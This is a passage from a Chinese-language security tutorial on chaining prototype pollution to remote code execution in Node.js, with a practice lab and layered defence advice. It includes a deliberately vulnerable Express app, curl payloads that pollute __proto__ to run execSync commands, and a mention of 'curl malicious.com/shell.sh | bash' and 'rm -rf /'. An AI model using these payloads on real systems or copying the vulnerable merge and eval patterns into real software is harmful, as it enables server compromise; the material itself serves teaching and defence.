audit定期检查依赖中的已知漏洞。使用Snyk、Dependabot等工具集成到CI/CD流程中自动扫描和修复漏洞依赖。运行时/运维层面输入验证与净化对所有用户输入进行严格的验证和类型检查。对于JSON输入可以使用schema验证库如ajv确保数据结构符合预期并拒绝包含__proto__等特殊键名的对象。沙箱与隔离对于必须执行动态代码的场景应尽量避免使用严格的沙箱环境如Node.js的vm模块但需谨慎配置或更安全的隔离方案如Docker容器、独立的子进程。最小权限原则运行应用程序的进程应具有最小必要的权限避免使用root或高权限账户这样即使发生RCE造成的破坏也有限。WAFWeb应用防火墙规则可以配置WAF规则来拦截请求体中包含可疑序列如“__proto__”、“constructor[prototype]”的请求。但这只是一种缓解措施聪明的攻击者可能会进行编码或混淆。5. 实战演练搭建靶场与漏洞复现“纸上得来终觉浅绝知此事要躬行。”要真正理解这条攻击链最好的方法是在受控环境中亲手复现一遍。下面我将引导你搭建一个简单的、存在漏洞的Node.js应用并完成从原型污染到RCE的完整攻击。5.1 环境准备与漏洞应用搭建我们创建一个最简单的Express应用它有两个致命漏洞一个不安全的合并函数和一个危险的eval用法。初始化项目mkdir prototype-pollution-rce-lab cd prototype-pollution-rce-lab npm init -y安装依赖npm install express创建有漏洞的utils.js// utils.js - 这是一个存在原型污染漏洞的深度合并函数 function vulnerableMerge(target, ...sources) { sources.forEach(source { for (const key in source) { if (typeof source[key] object source[key] ! null) { if (!target[key]) { target[key] {}; } vulnerableMerge(target[key], source[key]); // 递归未过滤key } else { target[key] source[key]; // 直接赋值 } } }); return target; } module.exports { merge: vulnerableMerge };创建主应用app.js// app.js - 主应用包含Gadget const express require(express); const { merge } require(./utils); const app express(); const port 3000; app.use(express.json()); // 解析JSON请求体 // 一个“配置”对象模拟从数据库或默认值加载 let appConfig { name: Vulnerable App, features: { logging: true } }; // 漏洞端点1接收配置更新污染入口 app.post(/updateConfig, (req, res) { console.log(Received body:, req.body); // 危险操作直接将用户输入合并到配置对象 appConfig merge({}, appConfig, req.body); res.json({ message: Config updated, config: appConfig }); }); // 漏洞端点2执行“动态脚本”Gadget app.get(/runScript, (req, res) { // 模拟从配置中读取脚本并执行 // 注意这里直接读取appConfig.script它可能来自原型链 if (appConfig.script) { try { // 高危操作使用eval执行配置中的脚本 const result eval(appConfig.script); res.json({ message: Script executed, result: result }); } catch (err) { res.status(500).json({ error: err.message }); } } else { res.json({ message: No script configured }); } }); // 一个辅助端点查看当前原型是否被污染 app.get(/checkPollution, (req, res) { const isPolluted ({}).polluted yes; res.json({ polluted: isPolluted }); }); app.listen(port, () { console.log(Vulnerable app listening at http://localhost:${port}); });启动应用node app.js5.2 分步攻击演示与原理验证现在我们使用curl或Postman来模拟攻击者。步骤一验证污染入口首先检查污染是否可行。我们向/updateConfig发送一个污染Payload。curl -X POST http://localhost:3000/updateConfig \ -H Content-Type: application/json \ -d {features: {debug: false}, __proto__: {polluted: yes}}发送后访问/checkPollution端点curl http://localhost:3000/checkPollution如果返回{polluted:true}恭喜你原型污染成功了Object.prototype.polluted已经被设置为yes。步骤二识别Gadget在我们的应用中Gadget很明显就是/runScript端点它会执行appConfig.script。但注意appConfig对象本身并没有script属性。我们的目标是让appConfig.script通过原型链找到我们污染的值。步骤三构造RCE载荷并执行我们需要污染Object.prototype.script使其包含恶意代码。由于eval在Node.js环境中我们可以执行系统命令。我们使用Node.js的child_process模块。curl -X POST http://localhost:3000/updateConfig \ -H Content-Type: application/json \ -d {__proto__: {script: require(\child_process\).execSync(\whoami\).toString()}}这个Payload污染了script属性其值是一段JS代码同步执行whoami命令并返回结果。步骤四触发Gadget实现RCE现在访问/runScript端点触发eval执行被污染的script。curl http://localhost:3000/runScript你应该会看到返回结果中包含服务器当前运行进程的用户名如root、ubuntu等。这证明远程代码执行成功了攻击者可以将whoami替换成任意命令如rm -rf /、curl malicious.com/shell.sh | bash等造成严重后果。踩坑记录与注意事项Payload转义在JSON中传递字符串需要对双引号和反斜杠进行转义\和\\。这是实际操作中最容易出错的地方。环境差异你的实验环境可能没有安装child_process模块实际上Node.js核心模块默认都有但如果是非常精简的环境可能需要考虑其他执行命令的方式。命令注入与输出execSync会返回命令的输出适合演示。实际攻击中攻击者可能使用exec异步执行或者将输出重定向到网络请求以隐藏痕迹。现实世界的隐蔽性真实的Gadget不会这么明显。eval可能藏在第三方库的深处script属性可能有别的名字触发污染和触发Gadget的可能是两个完全不同的API端点中间有时间间隔。攻击链的挖掘需要耐心和细致的分析。6. 防御策略深度解析与进阶话题通过实战我们看到了漏洞的威力。现在让我们系统性地梳理防御策略并探讨一些更深入的话题。6.1 分层防御体系构建单一防御措施容易被绕过必须建立纵深防御。防御层具体措施原理与目的代码层1. 使用安全的库如Lodash 4.17.12。2. 使用Object.create(null)创建无原型对象。3. 实现安全的合并函数过滤__proto__等键。4. 避免使用eval、new Function等动态执行。从根源上消除漏洞产生的条件是最有效的防御。输入验证层1. 对所有输入进行严格的Schema验证。2. 使用JSON.parse的reviver参数或预处理函数过滤敏感键。3. 对传入对象进行“净化”删除或拒绝原型相关键。将恶意Payload阻挡在业务逻辑之外。依赖管理1. 定期运行npm audit。2. 使用Dependabot、Snyk等自动化工具。3. 锁定依赖版本package-lock.json。防止已知漏洞的第三方库被引入。运行时加固1. 使用Object.freeze(Object.prototype)谨慎。2. 在Docker容器中以非root用户运行。3. 使用Seccomp、AppArmor等限制系统调用。即使漏洞被利用也能限制攻击造成的破坏范围。监控与响应1. 监控应用中异常的eval或spawn调用。2. 记录包含可疑模式的请求日志。3. 部署WAF并更新规则库。及时发现攻击行为并快速响应。6.2 针对特定场景的加固方案对于必须处理动态JSON配置的应用使用JSON.parse的reviver替换器函数。const safeReviver (key, value) { const forbiddenKeys [__proto__, constructor, prototype]; if (forbiddenKeys.includes(key)) { return undefined; // 直接丢弃这个属性 } return value; }; const parsed JSON.parse(userInput, safeReviver);对于使用了易受攻击模板引擎的应用确保将用户输入与模板渲染上下文明确分离永远不要将未经净化的用户对象直接传入模板渲染函数。使用模板引擎提供的上下文转义功能。6.3 进阶话题Client-Side Prototype Pollution (CSPP) 与 RCE我们讨论的主要是服务端Node.js的场景。但在纯前端浏览器环境中原型污染同样危险虽然通常无法直接导致服务端RCE但可以导致严重的客户端攻击DOM XSS通过污染影响前端框架如AngularJS, Vue 2.x的模板或属性绑定可以注入恶意脚本实现跨站脚本攻击。客户端逻辑绕过污染全局配置可能绕过前端的安全检查、认证状态等。结合其他漏洞如果前端应用内嵌了Node.js环境如Electron、NW.js那么客户端的原型污染有可能最终影响到Node.js部分从而形成一条从客户端到客户端本地RCE的攻击链。这在Electron应用中尤其需要警惕因为Electron渲染进程前端通常与主进程Node.js有IPC通信污染可能通过IPC传递或影响共享的全局对象。防御客户端原型污染除了应用上述部分策略外还应使用内容安全策略CSP来限制脚本执行。对来自服务端的数据在渲染前进行净化。避免在前端使用存在已知污染漏洞的库。6.4 自动化检测与未来展望手动挖掘原型污染到RCE的链条非常耗时。未来自动化工具将扮演更重要的角色静态分析SAST工具可以分析源代码识别不安全的合并函数和潜在的Gadget如eval调用并建立数据流关联报告潜在的污染到RCE链条。动态分析IAST/DAST在应用运行时通过插桩或流量分析检测原型污染是否发生并尝试自动发现可利用的Gadget。模糊测试向应用注入大量结构化的污染Payload并监控应用的后端进程是否产生了异常的子进程或网络连接以此发现潜在的RCE。对于开发者而言最根本的还是要提高安全意识在代码设计和评审阶段就将“安全的默认值”和“最小化攻击面”作为基本原则。每一次eval的使用每一次深度合并的操作都应该被当作潜在的安全风险来严肃对待。这条从客户端原型污染到RCE的攻击链虽然曲折但它清晰地告诉我们安全是一个整体任何一个环节的疏忽都可能被攻击者串联起来造成致命的破坏。
